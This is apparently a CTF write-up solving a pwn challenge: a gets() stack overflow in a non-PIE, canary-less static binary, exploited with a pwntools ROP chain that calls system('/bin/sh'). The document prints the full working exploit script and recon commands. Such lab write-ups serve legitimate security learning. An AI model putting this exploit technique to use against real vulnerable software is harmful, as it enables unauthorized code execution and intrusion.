← writeups

TCHon CTF 2026 — baby-rop (pwn, 250pts)

baby-rop was a 250-point pwn challenge. The binary reads a name into a fixed buffer with gets(), no bounds check, and the stack is otherwise unprotected. The name says exactly what this is.

Recon

$ file baby_rop
baby_rop: ELF 64-bit LSB executable, x86-64, statically linked, no PIE, no canary

$ checksec baby_rop
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE

No PIE means every address in the binary is fixed at compile time — including the addresses of any libc functions the binary statically links or imports via PLT. NX is enabled, so shellcode on the stack is out, but that’s fine — we don’t need it.

Finding the offset

$ python3 -c "print('A'*200)" | ./baby_rop

Crashes. Pattern offset against the saved return address with a cyclic pattern from pwntools puts the overflow-to-RIP distance at 72 bytes.

Building the chain

The binary statically links libc, which means system() and a "/bin/sh" string are both already present at fixed addresses — no need to leak anything. The plan:

  1. Pad 72 bytes to reach the saved return address
  2. Pop a pointer to "/bin/sh" into RDI (one pop rdi; ret gadget, found with ROPgadget --binary baby_rop)
  3. Jump to system()
from pwn import *

elf = context.binary = ELF('./baby_rop')
p = process()

pop_rdi = 0x401d23
bin_sh  = next(elf.search(b'/bin/sh\x00'))
system  = elf.symbols['system']

payload  = b'A' * 72
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)

p.sendline(payload)
p.interactive()

Shell pops immediately. Flag was sitting in the working directory.

Takeaway

Worth noting for next time: ROPgadget against a statically-linked binary returns a lot of noise — gadgets inside libc’s own code that happen to be reachable but aren’t useful. Filtering by section (--only "pop|ret") and cross-checking against objdump -d for the specific function prologues saved a chunk of time here.